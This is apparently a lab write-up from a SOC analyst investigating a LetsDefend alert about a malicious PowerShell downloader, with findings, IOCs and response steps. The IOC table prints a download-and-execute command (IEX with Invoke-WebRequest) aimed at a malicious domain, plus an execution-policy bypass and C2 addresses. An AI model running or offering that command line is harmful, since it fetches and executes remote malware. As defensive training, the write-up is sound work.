

SOC153 - Suspicious Powershell Script Executed

06 February 2026 12:27

SEVERITY	DATE	RULE NAME	EVENTID	TYPE	ACTION
Medium	Mar, 14, 2024, 05:23 PM	SOC153 - Suspicious Powershell Script Executed	238	Malware	>> ✓
Event Details					
EventID :		238			
Event Time :		Mar, 14, 2024, 05:23 PM			
Rule :		SOC153 - Suspicious Powershell Script Executed			
Level :		Security Analyst			
Hostname :		Tony			
Ip Address :		172.16.17.206			
File Name :		payload_1.ps1			
File Path :		C:\Users\LetsDefend\Downloads\payload_1.ps1			
File Hash :		db8be06ba6d2d3595dd0c86654a48cfc4c0c5408fdd3f4e1eaf342ac7a2479d0			
Trigger Reason :		Suspicious Powershell Script Executed			
AV/EDR Action :		Detected			

Incident Overview

- **Alert Type:** Endpoint Malware
- **Severity:** Medium
- **Environment:** User Endpoint - Tony(172.16.17.206)

Initial Alert Details

A Powershell script named payload_1.ps1 execution was observed on a user endpoint Tony(172.16.17.206)

Analyst Thought Process (Before Investigation)

- Powershell script execution on a user endpoint is considered a behavioral anomaly.
- The powershell execution may be benign if it's an misconfiguration or IT Operations or malicious, where script is a payload delivered by a threat actor.
- Immediate priority is to validate whether the execution is legitimate by reviewing endpoint logs, confirming user or IT activity, and performing threat intelligence analysis on the script using its file hash.

Investigation Findings

- The user endpoint Tony (172.16.17.206) downloaded a PowerShell script (payload_1.ps1) from an external URL via chrome.exe, indicating user-initiated execution.
- Endpoint logs show PowerShell execution with ExecutionPolicy Bypass, confirming active script execution under user context.
- Script block logging (Event ID 4104) revealed use of Invoke-Expression (IEX) combined with Invoke-WebRequest (IWR) to download and execute a second-stage PowerShell payload directly in memory from an external domain.
- Subsequent network logs confirmed outbound HTTP and HTTPS connections to multiple external IPs, including a successful HTTP GET request associated with command-and-control style communication.
- DNS query logs correlated the malicious domain access to powershell.exe, confirming the PowerShell process initiated external communication.
- Threat intelligence analysis using VirusTotal identified the script hash as malicious, with

indicators consistent with PowerShell-based downloader and C2 behavior.

IOC Artifacts

Type of IOC	Context	IOC Value	Threat Intel
File	Script Name	Payload_1.ps1	Flagged as Malicious
File Hash	Script SHA256 Hash	db8be06ba6d2d3595dd0c86654a48cfc4c0c5408fdd3f4e1eaf342ac7a2479d0	Flagged as Malicious
URL	Script Location	hxxps://files-ld.s3.us-east-2.amazonaws.com/payload_1.ps1	Flagged as Malicious
URL	Secondary stage payload	hxxps://kionagranada.com/upload/sd2.ps1	• Flagged as malicious • Related to KOI-STEALER
IP	Secondary stage payload	161.22.46.148	• CLOUDI NEXTGEN SL • Data Center/Web Hosting/Transit • Spain
URL	External communication	HXXP://91.236.116.163/INDEX.PHP?ID=90059C37-1320-41A4-B58D-2B75A9850D2F&SUBID=9G6CLLE6	
IP	External Communication	91.236.116.163	• w1n ltd • W1n.nl (Domain) • Commercial • Sweden
Comm and Line		• C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'hxxps://kionagranada.com/upload/sd2.ps1') • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\LetsDefend\Downloads\payload_1.ps1 \payload_1.ps1'	

Attack Chain Summary

User downloads payload_1.ps1

- PowerShell execution with policy bypass
- In-memory execution of second-stage script
- DNS resolution of malicious domain

→ Outbound C2 communication over HTTP/HTTPS

SOC Actions & Recommendations

- Immediate escalation to Incident Response
- Isolate affected endpoint
- Reset user credentials
- Block identified malicious domains and Ips
- Hunt for similar PowerShell behavior across environment

Key Learnings

- Behavioral alerts require multi-log correlation to confirm malicious activity.
- IEX + IWR usage is a strong indicator of fileless PowerShell malware.
- Medium-severity alerts can escalate to high-impact incidents after investigation.